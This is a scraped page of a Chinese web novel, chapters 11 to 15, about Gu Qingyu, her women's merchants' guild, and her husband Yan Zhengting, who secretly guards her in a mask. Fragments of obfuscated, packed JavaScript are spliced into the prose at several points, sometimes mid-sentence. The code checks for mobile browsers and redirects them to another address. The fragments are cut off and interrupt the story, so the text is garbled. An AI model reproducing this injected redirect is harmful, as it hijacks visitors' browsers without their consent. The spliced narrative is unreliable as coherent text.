RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205076|150902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 其中一人更是直接用一个黑色的布袋罩住了言正廷的头。 棍棒落下,言正廷应声而倒。 而另外几人也开始想要对她下手。 棍子还未落下,她每次遇险时心有所期的面具人却如期而至。 面具人从未让她失望过,很快就将黑衣人逐一解决。 身形流转,一招一式都一如从前。 不过这一次,面具人在她脱离危险后,意外地没有立刻离开。 而是径直走到她面前,递给她一张纸条,“若有要紧之事,可到此处寻我。” 说完,又咳嗽了两声。 想必是病了吧? 难怪声音和之前有点不同。 拿到纸条的顾清语此刻心神荡漾,连一旁的言正廷醒来了都没有发现。 “夫人!你没事吧?我怎么被打晕了?” “没事,回家吧。” “是有人出手相救吗?” “废话,不然你我已经是两具尸体了。” “是谁救了我们。” “你不必知道。” 让你知道他是谁还得了?顾清语暗想。 这下不会再怀疑我了吧?言正廷暗爽。 原本走得好好的,顾清语却突然停下了脚步。 害得言正廷一个趔趄,差点撞上。 “我差点问你,你会武功?” “对啊,我不是给你说过,小时候父亲命人教过吗?” “你说过吗?” “当然了,况且我好歹是武将世家,再不济功夫是不能差的。” 虽然顾清语不记得他说过,不过她却懒得深究。 因为此刻,她满心都是那个生了病的面具人。 翌日大早,顾清语就自己一个人悄悄溜出了扶。 她特地去了城中最好的药材铺抓了几副药,寻着纸条上的地址而去。 怀着几分期待的心情,顾清语叩响了面具人的门。 门开了,熟悉的面具人就站在门后。 顾清语微微有些失望,她以为自己突然袭击,也许有机会能看到面具人的真容。 未承想,对方竟仍然戴着面具。 难道他从来不取下面具吗? 顾清语说明来意之后,本以为对方会请自己进屋。 没想到他接过顾清语的药后,只是淡淡地说了声谢谢,便径自关了门。 看着紧闭的房门,呆立在门外的顾清语有些无语。 此人究竟是何意? 明明多次相救却又不肯透露身份。 明明是他自己主动给了地址,却又如此冷漠。 面具人奇怪的态度非但没能让顾清语知难而退,反倒激起了她的好胜心。 你退我便进,你逃我就追。 谁叫顾清语向来是遇强则强呢。 面具人大概也没想到,自那以后,顾清语竟每日都来。 不是送药就是送食物。 有一次,甚至送了一个她自己缝的娃娃?! “哥,你这人设看着也不像喜欢娃娃的吧?嫂子这是何意啊?” 言正廷一把夺过那个眼角鼻子都有些歪斜的丑娃娃,满脸不爽:“还给我!” “嫂子总是来也不是办法啊,再这么下去迟早露馅。” “闭嘴!” 言正廷此刻的心情已经完全坠入了谷底。 他感觉头顶有一大片青青草原,大到足以让成群的牛羊肆意奔跑。 他的夫人中意上了另一个人。 而那个人,是他,又不是他。 他感到异常烦躁,因为他此刻正发了疯的嫉妒。 嫉妒那个戴着面具的自己。 怎会有人自己吃自己的醋啊? 12. 你僭越了 言正廷将那个丑娃娃紧紧地攒在怀里,丢了魂似的回了侯府。 在撞见顾清语时,意外的没有像往常一样凑上前去嬉皮笑脸,反倒是冷着一张脸,语气冰冷:“你是不是自己偷偷跑出去了?” 顾清语没打算隐瞒,坦坦荡荡地点了点头。 她不是没察觉到言正廷的情绪变化,只是素来不喜欢去揣测别人的心意。 只是她的坦荡在言正廷看来,却是没心没肺,是对他的全然不在乎,不禁怒从中来。 “你明知有人想对你不利,已经遇到多少次危险了,为何还要如此任性?” 言正廷急言令色的质问,让顾清语颇为不解。 虽然她知道自己的行为有些欠妥,可是也不至于如此生气吧? “你今天是怎么了?我出去的时候很小心的。而且……” 她本想说,而且她有高人保护,不会出问题。 但她敏感地察觉到此刻并不适合提这件事。 “而且什么?而且另有他人护着你是吧!” “你怎么知道?你跟踪我,还是?” 言正廷地脱口而出,却引起了顾清语的怀疑。 他突然意识到了自己的失控,赶紧找补。 “那日我俩被人袭击,我被打晕后你却安然无恙,问你你也不肯说,总不能是你自己动的手吧?不是在外面有人了还能是什么?” 此话一出,言正廷就后悔了。 “呵…!” 顾清语气急反笑,却又似被人识破后的心虚。 论说狠话,她还没输过。 “言正廷,请不要忘了你我只是协婚姻,三年后便各不相干了。你之前帮过我,我心存感激并愿意支付相应的报酬,但希望你不要再僭越了,做好你的败家子就行。” 僭越?言正廷没想到顾清语竟会用上这样的词。 人人都可以说他是废物,可以嘲笑他无能,唯独顾清语不行。 他看了顾清语许久,露出一抹苦笑。 没有再争辩什么,几不可查地摇了摇头,转身离去。 望着那落寞的背影,顾清语突然有些后悔了。 她总是一生气就攻击性极强,并且口不择言。 她知道这样不好,容易刺伤身边的人。 可她自小只有自己一个人,若非这样,又有谁能护着她? 恶语伤人,难以抚平。 已经说出来的话已然无法收回。 反正因此离开她的人也不少,如今不过是再多一个罢了。 顾清语也愤然离去。 两人渐行渐远,却都没能发现走出几步后再次回头遥望的彼此。 一个本不该存在的裂痕,悄然横亘在了二人之间。 就连一向反应迟钝的阿砚,也终于瞧出了自家小姐的不悦。 “小姐,姑爷好些天没来找您了,你们是闹矛盾了吗?” “他爱怎么闹就怎么闹吧。” “您不去哄哄姑爷吗?” “噗——” 顾清语一口热茶全喷了出来。 “别人家都是夫人闹别扭夫君来哄,凭什么让我去哄他啊?” “可是以往,都是姑爷像个小娘子一样跟您撒娇闹趣,您都是会哄着的。” 她和言正廷的关系在别人眼中竟然是这样的?! 顾清语忍不住翻了个白眼,刚想和阿砚好好掰扯掰扯这事,却听到有丫鬟来报。 “二少夫人,有客人想见您?” “客人?十一娘吗?” “不是,来人说她姓齐。” 姓齐?她所认识的人中,并无姓齐之人。 难道是那天她和言正廷救下的那位女商齐晏? “请她进来吧!” 片刻,丫鬟便领了人进来。 果然是那日被那群恶霸欺负的齐晏,不过这一次,她看起来光彩照人了许多。 “十一娘那儿果然养人,齐姑娘几人不见可是大变样了呢!” 顾清语毫不吝啬对所有女子的夸赞。 齐晏听后,也是频频点头,说自己在十一娘那里的确收获颇丰。 一番寒暄后,齐晏道出了此番来访的原因。 她被顾清语送去春风亭躲了好一阵子,十一娘帮她打探了风声之后,她便趁机溜回去了一趟。 哪知道,她倒是躲过了周四爷的欺压,她的那些同样在城西营生的姐妹们却遭了殃。 那群手下因为顾清语二人出手吃了亏,回去就向周四爷告了状。 周四爷盛怒之下,又找不到齐晏这个罪魁祸首,只得把怒气全都发泄在了其他女商身上。 他将每月的“头钱”从二十两涨到了三十两,交不出来就直接抢,还要被拉去“钱债肉偿”。 现在那些女商们,逃的逃,躲的躲,没有了营生,生计都成了问题。 “岂有此理!这周四爷怎会如此猖狂,完全视律法于无物吗?” “据说周四爷家里有人是朝廷命官,所以平日里府衙的人对他都是睁一只眼闭一只眼。” 原来上头有人。 难怪他可以如此肆无忌惮。 “你们这样下去也不是办法,你今日来寻我,是想加入艺人培训班吗?” “我们自知没那个才能,所以才来请言夫人指教一二。” 顾清语详细问了齐晏,那些姐妹做的都是什么营生。 一问之下才知道,从服饰到脂粉再到珠宝、配饰,甚至还有孕妇及婴孩的用品,她们都有在经营。 吃穿用度几乎全部涵盖。 好家伙! 这不就是一套完整的全业态商业吗? 她本就计划着下一步要让女团开始带货,因为被言父禁足行动不便,便迟迟没有开始招商。 没想到,她的意外善举反而为自己的商业计划带来了如此大的便利。 她细细思索了一番后,向齐晏提出了一个计划, “你先将你们的货品都给我看看,如果材质、款式都合我意的话,你们今后就将所有的货品都供应给我,你们可愿意?” “都给你?你一个人怎用得了如此多东西?” “我已经有了一个详细的计划,你若信得过我,就回去和姐妹们商量,愿意就来找我,我再与你们细说。” 她已经想好了,她要成立一个京城女子商会。 并且所有女商的货物都由女团来带货。 她要让京城里所有的女商团结在一起,让大家都能通过营生过上好日子。 当然,她也想赚更多的钱。 齐晏应了下来,便急匆匆的告辞去找姐妹们商量去了。 她虽然没有给他们任何承诺,可是相比起被周四爷所欺压,她始终背靠侯府,她们应该是更愿意相信她的吧? 想到侯府少夫人这个身份为她带来的便利,她又不自觉地想起了言正廷。 已经过了好几日,他愣是没再出现过。 阿砚偷偷问了言正廷小厮,他这几日竟都没再偷溜出去,整日把自己关在房间里。 难道自己那天说的话真的伤他如此之深? 其实那番话,她说完便后悔了。 言正廷善良正直,勇敢坚毅,并不是废物败家子。 只是,她从来没有向谁服过软。 她不会,也不能。 这几日,齐晏时不时有来找过她,听她说了女子商会和女团带货的计划。 做营生多年的她很是钦佩顾清语的商业头脑。 虽然很多经商手法她没听说过,女子商会在大越这个地方听起来也是困难重重。 许是因为顾清语曾救过她,又或许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他威胁管事若不听话,就让其乌沙不保。 他在京城里从没做过什么坏事,却得了个浪荡纨绔的名声,既然如此,不如好好利用起来。 可是这一次,他要求管事听的话,不是尽快给女子商会审批手续,反而是:绝对不能办! 他有自己的小心思。 他想让顾清语走投无路之时主动来找他帮忙。 于是,他处处使绊子。 行商司不让通过,原本答应加入的女商有几名又反了悔,就连一直在顺利进行巡演的女团,也遇到了很多麻烦。 这段时日,接连的状况让顾清语头都大了。 以往十一娘神通广大、路子众多,怎么独独这一次,她们处处受限她却有心无力呢? 难道真是她的商业计划出了问题? 今日她正好想来找十一娘问个究竟,见春风亭门口无人,便径自走了进去。 刚走到十一娘门口,却听到了一个熟悉的声音。 “不出三日,她必定来寻我帮忙。” “别太笃定,清语她要强,不到万不得已绝不会轻易求人。” “那是她遭遇的挫折不够多,这一次她应该撑不住了。” “你也适可而止吧,当心玩火自焚。” “砰!” 巨大的关门声骤然炸响。 言正廷与十一娘追出门口时,只看到了一个倔强的背影。 “糟了!” 看着言正廷火速去追,十一娘无奈摇头。 “你自己惹的祸,自己想办法解决吧。” 13. 只差毫厘 言正廷一路追回侯府,待他冲进顾清语房间时,顾清语已经收拾好东西准备要走。 “你要去哪?” 他上前拉住顾清语的手腕,顾清语却根本不看他。 只在桌上留下一封书信。 上面赫然写着:【离婚协议书】。 又来? 成亲时签了【婚前协议书】,后来签了【保镖协议】。 如今负气离家出走,还要签一份【离婚协议书】? 言正廷不是不明白“离婚”就等同于“和离”,只是他从未把这些所谓的协议当真过。 因为在他心里,他早就把顾清语当成了自己真正的妻子。 如今这份和离书就这样出现在他眼前,他真的慌了。 “清语,别走!” “言正廷,我以为你的纨绔只是为了掩藏内心的伤痛,没想到你却如此卑鄙。” “你听我解释。” “当初签订的【婚前协议书】里已经写明,若你做出损害我利用或者危及我性命之事,我们可以随时解除婚约。现在,是时候了。” 不等言正廷辩解,顾清语便推开他的手,决然而去。 言正廷知道,自己这次真的闯祸了。 他本想去追,却又突然止步不前。 因为此刻,就连他自己也觉得自己坏得像个败类。 他转过身一拳砸在了桌面上。 木桌应声而断。 紧握的拳头之下,渗出滴滴鲜血滑落在了碎裂的桌板上。 他却丝毫没有察觉。 顾清语走了,言府却没人知道此事。 言正廷瞒得密不透风。 没多久,商会的所有手续均已办妥。 【大越女子商会】正式挂牌的那一天,十里长街铺满鲜花,鞭炮声也接连不断。 这一切都是言正廷准备的,但是他却始终没有出现。 顾清语并没有深究十一娘和言正廷之间的关系。 十一娘几次想与她聊一聊,她都找借口搪塞过去。 只是她对十一娘,越发客气了。 从很早以前她就懂得了,世间所有情感都会变质这个道理。 所以她素来就只埋头苦干、一心搞事业。 早就练就出了一颗强大而冰冷的心。 只要她有事业,有底气,离开了谁她都能活得很好。 商会顺利成立后,她紧接着就将直播带货改为了更适合古代的现场带货。 刚开始,女团每周在春风亭进行一次现场带货,推出的商品均来自齐晏那帮姐妹。 每次的货品都由她亲手挑选,就连备货、写推荐词这些琐事都是她自己亲自完成。 由于有的顾客在现场买下的货物太多,一次无法全部拿走,她还贴心地推出了物流服务,为客人送货到家。 现场带货很快传得街知巷闻。 越来越多的人想要到现场参与,也有越来越多的商户想要加入其中。 顾清语却只接纳女商,引起了其他商户大大的不满。 带货本就分走了他们大量客源,顾清语还不肯带他们一起玩儿。 大量商户聚集在行商司里,纷纷嚷着要管事的给个说法。 而另一部分人,则是将春风亭团团包围,高喊着让女子商会滚出京城。 站在春风亭的高处,顾清语望着眼下闹事的人群。 其中,有几个形迹可疑之人一直在起哄。 不难看出,这几人应该是有人刻意安排的。 顾清语并没有在意。 这种事儿她在现代见多了,只要她清清白白,这些人就拿她没办法。 只是她没想到,有心算无心,她终究还是掉进了敌人的圈套。 那些经过她亲手挑选的货物,竟然出了问题。 有好几位女子说她们穿了在商会买的衣服后,就全身红肿,奇痒难耐。 顾清语陪着他们一起去看了大夫,大夫说是衣物的布料有问题。 她又拿着衣物去找了专门的行家检查。 一查才发现,这布料的染色剂里竟然混入了大量漆树的汁液,皮肤一经接触就会红肿瘙痒,严重者还会导致皮肤溃烂。 顾清语不敢相信,她心心念念想要保护的人里,竟然有人这样坑害自己。 她立刻返回商会去找供应这批货的女商,却发现早已人去楼空。 千防万防,家贼难防。 明明自己救了她们,为何却要反咬一口? 她让十一娘用尽一切办法,尽快把人找出来。 可人还没找到,府衙的人却先一步上了门。 他们将顾清语带回府衙准备收押。 顾清语并未抵抗,只是坚称自己是被人陷害,却又拿不出证据。 府衙的人知道她是侯府少夫人,倒也不敢过于怠慢。 只是群情汹涌,他们必须这么做才能平息民愤。 他们能做的,就是给顾清语找了一间干净的牢房,让她待得舒服一点。 顾清语承了这份情,想着日后等她出来,必定多给府衙些好处。 只是不知道,她还能不能出去了。 她那渣爹是定不会管她的,而言正廷…… 算了,她还想他做什么。 其实,她这段时日可以不用那么忙碌的。 选好货品后,其他的事都可交予其他人来做。 可是每当她闲下来时,就会忍不住胡思乱想。 她只能不停地用工作来麻痹自己。 亦如曾经每次失恋后,每个加班到凌晨的深夜。 如今陷在这牢笼里,却再无别的事可以用来阻止那胡乱缠绕的思绪。 她便一下子,陷入了难以自拔的情绪之中。 不能哭,不准哭。 她倔强地不去擦眼泪,努力想把眼泪吸回眼眶。 却颓然地发现,自己终究还是做不到。 眼泪滑落之际,她却听到了一个熟悉的脚步声。 抬起头来,便看到言正廷大步向她走来。 他走到她面前,向她伸出手, “走,我带你回家。” 此刻,她所有的伪装都轰然倒塌。 乖巧地伸出手,任由言正廷牵着她,在众目睽睽之下走出了牢房。 直到安然回到侯府,顾清语才第一次开口。 “谢谢你。” “不用谢。” 两人客套得就像一对刚认识的新人。 又是长久的沉默。 “你……不会又是威胁了府衙大人才把我放出来的吧?” “当然不是,我是堂堂正正的为你洗刷冤屈才让你出来的。” 原来,自顾清语走后,言正廷就一直在暗中守护。 在出事的第一时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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仿佛那股暖流能够一直流进心里。 顾清语双手轻轻交叠于那只抚在她脸颊的手上,长发柔顺地垂落在肩侧。 微微抬头,目光与言正廷不期而遇。 她惊觉自己有些失态,立刻放开了手。 迅速移开眼眸,脸颊上却不经意染上了一抹绯红。 空气中弥漫着淡淡的檀香,与一丝不易察觉的暧昧。 两人的心跳似乎都不约而同地加速,却又默契地维持着这份微妙的平衡。 暧昧的气息随着时间的推移越来越浓烈。 言正廷勇敢向前,顾清语却突然后退。 她并不是没有谈过恋爱的小白兔,但此刻她却如第一次恋爱般紧张。 她不想谈恋爱!她只想搞钱! 他却不打算给她逃跑的机会,大手紧紧摁住了她的后脑。 手下微微用力,就把顾清语的脸带到了眼前。 鼻尖几乎撞在一起,彼此都能清楚地感受到对方的鼻息。 呼吸开始变得急促。 唇齿之间只差毫厘。 14.差点永别 “砰!砰!砰!” 巨大的敲门声毁掉了一室的美好。 两人尴尬对视后,立刻拉开距离。 一人佯装整理衣物,一人只能去倒杯茶水为自己降温。 而那敲门声似乎又气又急,恨不得立刻将门砸开一般,一点也不给二人整理情绪的机会。 “来了来了!急什么急,赶着投……” 本被坏了好事而恼羞成怒的言正廷正想破口大骂,在见到来人后,却及时闭上了嘴。 顾清语一歪头,就看到了横眉怒目的言父。 他阴沉着一张脸,踱步进屋。 看了眼从牢里出来还浑身脏兮兮的顾清语。 又看了眼刚才还满脸绯红的言正廷。 半晌没有开口,那眉头却皱得更紧了。 最终还是言正廷打破了这诡异的沉默, “父亲,这么晚了,您过来有何……” “啪!” 言正廷没说完的话,生生被言父一个巴掌拍了回去。 “废物!” 言父低沉的嗓音里满是嫌弃。 “你就是这么管教你新妇的?暗度陈仓、离家出走、抛头露面,不要脸的出去做营生就算了,竟然还闹得进了府衙,我言家的脸都让你们给丢光了!这么喜欢卖,不如去青楼卖笑好了!” “父亲请慎言!” 言正廷早已习惯了父亲的打骂,可是他不允许顾清语因为他而受委屈。 “清语做的营生光明正大,既没有偷鸡摸狗,也没有触犯律法,您作为长辈,怎可以说如此难听的话?” “我早就说过,不允许在外做营生,你们可是把我的话当成了耳边风?!” “父亲,您可以尽管打压我,囚困我,可是清语她是无辜的,也应是自由的,请您不要因为对我的厌恶而伤害她,她有权利做自己想做的事。” 此话一出,屋内另外两人都愣住了。 对顾清语来说,言正廷终于支棱起来了! 为了保护她竟敢顶撞这位代表言家绝对权威的父亲。 而对于言父来说,这个废物败家子竟敢为了个女人违逆他,挑战他作为一家之主的威严。 缓过劲来的言父,怒极反笑:“好,好,你如今胆子是越发大了,家法已经管不住你了是吧?你要自由是吧?可以,我现在给你两个想选择:一是带着你的女人滚出言家,彻底断绝父子关系。二是立刻休妻!” “父亲!” “住口!要么她滚,要么你们两个一起滚!” 不等言正廷再行辩解,言父长袖一甩,愤然离去。 言父气得全身颤抖。 他这个废物儿子,从前虽然不着边际,但好歹逆来顺受,对他也是毕恭毕敬,从不敢顶撞违逆。 当初还以为成家之后会变得稳重些,岂料竟被那女子带的更加放肆无度了。 还好,当初他没让大儿子娶这个女子。 商户出生,就是这么低贱。 言家三代皆为朝廷重臣,他看不起商贾之家实属平常。 只是没想到,言正廷对他来说,竟只是个替宝贝大儿子解困的工具而已。 言父走后,屋里陷入了良久的沉默。 她不说话,倒不是因为言父那番话让她感到难看或委屈,而是言正廷又一次为了维护他而挨了言父的打,她觉得有些歉疚。 而言正廷的沉默,也不是因为被父亲打骂,这些他早已习惯。 父亲让他休妻,他也是绝不可能答应的,大不了就带着顾清语一起离开言家。 他担心的是顾清语不愿跟他一起走,他害怕,她会选择和离。 毕竟,他始终搞不清楚顾清语对他的心意。 他不知道顾清语真正中意的,究竟是他,还是面具人。 “清语,你先休息吧。别担心,我来解决。” “你要怎么解决?” 是解决你的父亲?还是解决我? 顾清语的话没有问出口,言正廷也没有回答。 翌日一早,言父便派人去请了顾老爷来府。 拜帖上直接写明,请他来商议二人的和离之事。 顾老爷一看言府要休妻,就立刻在心里盘算起了利弊。 顾府能背靠言府这座大山,他本是极为乐意的。 京中首富这个名头他早已不再满足,他现在更想体会权利在手的滋味。 自两人成亲之后,他就一直在设法铺路,想要入朝为官。 奈何这言将军食古不化,丝毫不肯从中帮忙。 而顾清语这段时日在外折腾出的动静他也是了如指掌。 他是没想到这个软柿子,在离开顾府后竟然还做起了营生。 作为商人,他太知道顾清语的带货和商会将会带来多大的利润,所以他早就开始眼红这笔买卖。 前几日一听到带货出了岔子,他便雇了人特地去煽风点火将事情闹大。 为的就是趁顾清语一时失利,赶紧踩上两脚,好趁机把这门生意抢到自己手中。 未承想,却有人帮她解决了此事。 他一直认为顾清语的营生有言家在背后支持。 如今言家要休了她,她便失去了靠山。 那他是否就有机可乘了? 在遥不可及的仕途和近在眼前的利益相较之下,他稍作权衡,就选择了利益。 失去言家这个靠山没关系,他还有女儿,还可以再找新的靠山。 如果让顾清语继续做大做强,那他可能就会错失让财富更上一层楼的机会。 打定主意之后,他便决定好了,一定要让二人和离。 他早早的来到言府。 不出所料,言府对顾清语营生一事极为不满,所以才要休妻。 他便在言将军面前表演了一场痛心疾首后悔不当初,最终大义灭亲的戏码。 简而言之,他大力支持言府休妻。 “如此甚好,难得顾老爷深明大义!我今日接报军情,不日将领兵出关。二人和离之事就劳烦顾老爷多操心了。” 言父也没想到此事进行得如此顺利,既然顾老爷也同意,那他便可以放心赶赴战场了。 辞别言父之后,顾老爷在下人的带领下来到了顾清语的房间。 顾清语看到来人是顾老爷,内心虽然不悦,倒也礼数周全。 “父亲怎么有空来看女儿?” “你还有脸问?言家都要把你休了你还不知道吗?” 忍不住翻了白眼。 她也是多余对这个渣爹礼貌恭敬。 “原来是为了这事啊,你不必担心,即使我被休了也不会回顾家的。” “你回不回是你的事,可是你丢了顾府的脸就万万不行!” “你不是常说‘嫁出去的女儿泼出去的水’吗?如今我都泼出去了,要丢脸也丢不到你头上吧?” “你!伶牙俐齿是吧?难怪言家要休了你!竟然你说了不会回顾家,我就看看你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220845|150902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到时候能去哪,要是那天沦落到要饭,你可千万别说是我顾成勋的女儿!” 临走前,还不忘回头看了眼原主母亲留下的妆台,“看在你娘的份上,等你被赶出言府那天,把你娘的遗物抬回顾府,我还能给你一笔钱,我可不想看着她的东西败在你的手上。” 说得还真是好听。 不就是为了碧云玺吗? 她早就拜托黄老板给她在西域淘来了一个带有复杂机关的盒子,将碧云玺好好收藏着。 论她再是落魄,也绝不会交出来。 顾老爷刚一出门,就撞上了正好找来的言正廷。 他立马换上了一副痛心疾首的模样。 “女婿啊,我顾府出了这种不孝女是我管教不利,委屈你了!” “岳父大人在说什么?清语她很好。” “我自己的女儿我能不知道?总之你尽快写下休书,早日和离吧!” 二人这才知道,原来言父和顾父早已商定此事,打定主意要他们和离了。 言正廷就这样站在门口,小心翼翼地试探:“你想与我和离吗?” “你这话是何意?如果我想离,那就离是吗?” “当然不是!” “那你什么意思?” “我的意思是,我不想和离,我想和你做真正的夫妻。” 真正的夫妻? 他说的,和我想的,是一个意思吗? 顾清语追问:“那你父亲怎么办?他说了如果不和离,就连你一起赶走。” “清语,我想问你一个问题。” “你说。” “如果我不再是侯爷的儿子,不再有权有势,甚至一无所有,你会愿意跟我在一起吗?” 当然愿意!顾清语的内心有个小小的影子在呐喊。 另一个影子却在说:别犯傻了!一无所有还在一起干嘛?你小时候还没穷怕吗? 可是我自己什么都有,即便他一无所有又怎样?我可以养他啊! 养男人?你越活越回去了吧?有钱单身富婆不好吗?独美不好吗? 可是我有点喜欢他啊。 你不是也有点喜欢面具人吗? 内心的两个声音不断争吵,顾清语矛盾到了极点。 她到是不怕言正廷无权无势,也承认自己对言正廷有意,可她也对面具人有意啊! 这渣女也不好当啊! 时间管理大师们究竟是怎么做到的? 顾清语的纠结与犹豫全都看在了言正廷眼里。 他知道顾清语爱钱,可他又不相信她是那种只看重名利之人。 他怕顾清语还不够喜欢他,又怕顾清语太喜欢另一个他。 告诉她真相,怕她生气一走了之。 不告诉她真相,又怕日后被她发现反而会彻底失去她。 这下,开始轮到言正廷的内心做激烈斗争了。 谈话就这样无疾而终。 他们清楚,彼此都需要时间认清自己的真心。 只是,时间不等人。 当日晚间,言正廷就接到探子来报,城北交界处出现了一处新的娱乐场。 已经暗中开了好一段时日他们才发现。 通过他们埋伏观察,发现其风格以及往来的宾客,像极了曾经的风雅颂。 他只能暂且放下和离一事。 那日出门前,他特地跟顾清语道了个别。 只是谁也没想到,这一别,差点就是永别。 15.拆穿 自风雅颂消失后,这件事就像一柄长刀一直悬在顾清语头上。 一日不将其连根拔出,言正廷就一日不能安心。 比起能不能与顾清语厮守,他更在乎的,是她的安危。 为尽早摆脱这种被动的局面,他开始没日没夜的对这家新出现的娱乐场展开调查。 言正廷已经三日没有回府了。 这几日来,顾清语思绪万千。 虽然她还没能决定,是不是要与言正廷真正在一起。 可是至少,他不能在抛下问题之后,就这样毫无交代的一走了之。 言正廷并非如此不靠谱之人。 多日来的相处,令顾清语早已对他改观。 此刻,她的担忧更大过那些情情爱爱的抉择。 她派了人出去暗中打听,可是始终没有言正廷的消息。 这天夜里,她焦躁得无法入睡。 不知为何,她的心极度不安。 不时的心悸让她总觉得有什么不好的事就要发生。 突然,她听见了一阵急促的脚步声。 侯府守卫森严,不可能有刺客吧? 可是那脚步声却明显是在朝着她的方向靠近。 心已经提到了嗓子眼。 她的右手暗暗握住了一直藏在枕头下的匕首。 直到窗户被人打开,她借着月光看清来人时,大吃一惊。 “十一娘?!你怎么会……” “嘘!别说话,跟我走。” 自上次的事后,她对十一娘是有所保留的。 她不清楚十一娘与言正廷之间的关系,她甚至还怀疑过他们才是真正的秘密情人。 直到此刻,她才发现十一娘竟然会功夫。 她对十一娘的深不可测更加忌惮,便是不会轻易跟她走。 她甩开了十一娘拉住她的手,警惕的往后靠了靠。 十一娘看出了她的顾虑,焦急道:“言正廷出事了,你再不跟我走,怕是赶不及见他最后一面了!” “他怎么了?” 还不及细问,顾清语就任十一娘拉着她跳出了窗外。 一路飞檐走壁,十一娘的轻功出神入化。 顾清语却来不及思考和害怕,满脑子都是言正廷奄奄一息的模样。 十一娘带着顾清语来到了春风亭后院深处最隐蔽的一间房。 刚一推开门,便闻到一股浓重的血腥味。 躺在床上的言正廷,已经被血液浸透。 口中还在不断的呕出鲜血。 他快死了。 当顾清语的脑海中冒出这个想法时,她瞬间感到天旋地转。 手足无措的立在一旁,看着两位大夫模样的人拼命在为他止血施救。 她脚下一软,摔倒在地。 十一娘赶紧将她扶起来:“清语,你一定撑住!他需要你!” 是的,他需要我。 他说过想和我做真正的夫妻。 他问我,如果他一无所有我是否还愿意跟他在一起。 我还没有回答他。 他还没听到答案,怎么能就这样死了呢? “言正廷!你能听到吗?你回答我啊!” 顾清语扑到言正廷的床边,紧紧握住他已经有些冰凉的手。 “你不是问我愿不愿意跟你一起走吗?你不是问我,如果你一无所有还愿不愿意与你在一起吗?你还没有听到我的答案,你不想知道我的答案吗?” “坚持住!你一定要坚持住,我等你醒来,亲口回答你好不好?” “不要死,你不要死,言正廷,你不能就这么丢下我,你不要离开我……” 顾清语抱住那被血液浸透的身体,她感觉到怀中人的生命正在一点一点的流逝。 那种即将失去的感觉就像溺在了沼泽里,不会马上死掉,却又生不如死,直至绝望夺走一切,才将人彻底淹没。 就连自己当初撞车,在濒死边缘也没有如此害怕过。 她第一次知道,原来有了软肋是这种感觉。 眼泪就这样不受控制的往下掉,直到她失去意识。 如潮水般涌来的绝望将顾清语淹没,她甚至不知道自己是什么时候晕倒的。 她只记得有一位大夫过来扶她,说一定会尽力救活言正廷。 他做到了吗? 言正廷救活了吗? 顾清语蓦然惊醒。 发现自己躺在十一娘的房间里,天已经亮了。 她立刻便想冲出门外,却与刚好端着药进来的十一娘撞在了一起。 碗碎了一地。 “清语!别着急,救回来了!大夫说他没有生命危险了,只是需要再好生调养。” “救回来了吗?” “是的,救回来了。” 顾清语还是不信。 直到她站在言正廷床边,握着他的手。 看着脸色依旧苍白,但手心却有了温度的言正廷,顾清语才松了口气。 就在昨夜,她差点就要失去他了。 只要一想到此,顾清语就心如刀绞。 如果他死了,那她也不想活下去了。 上一次有这种感觉,还是她唯一的亲人外婆走的时候。 原来,她竟如此害怕失去他。 就连自己也没发现,已经在意他到了这种程度。 她伸出手,抚上了言正廷苍白的脸颊, “等你醒来,我就亲口告诉你,我想和你在一起。” 一连好几日,顾清语衣不解带的照顾着言正廷。 亏得言父再次带兵出征,不然又不知道要掀起多大的风浪了。 在她的照顾下,言正廷终于有了些。 身体上的伤口开始愈合。 虽然仍未清醒,但看起来至少不再像是个将死之人了。 这日,顾清语如往常一般,为他擦洗身子,翻身活动。 在擦到手腕处时,他敏锐的察觉到言正廷的手指似乎有了轻微的动作。 她赶紧让人通知大夫。 大夫为言正廷细细检查一番后,也终于露出了欣慰的笑容。 “言夫人,多亏你照顾得细致,言公子恢复得很好,目前已无大碍。” “那他何时能醒?” “应该快了。” 他终于要醒了。 差一点,她就以为自己要永远失去他了。 这几日,十一娘找她谈过。 当初是言正廷救下差点被卖入青楼的十一娘,于十一娘而言,他只是救命恩人。 而言正廷之所以一直在暗中追查风雅颂,也是想要为她解除后顾之忧。 若不是为了她,他今日也不会遭此劫难。 她已经想得很清楚。 面具人虽然对她有救命之恩,可是她连对方的真实身份和样貌都没见过。 她不该为了一个虚无缥缈之人而错过言正廷。 他装纨绔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 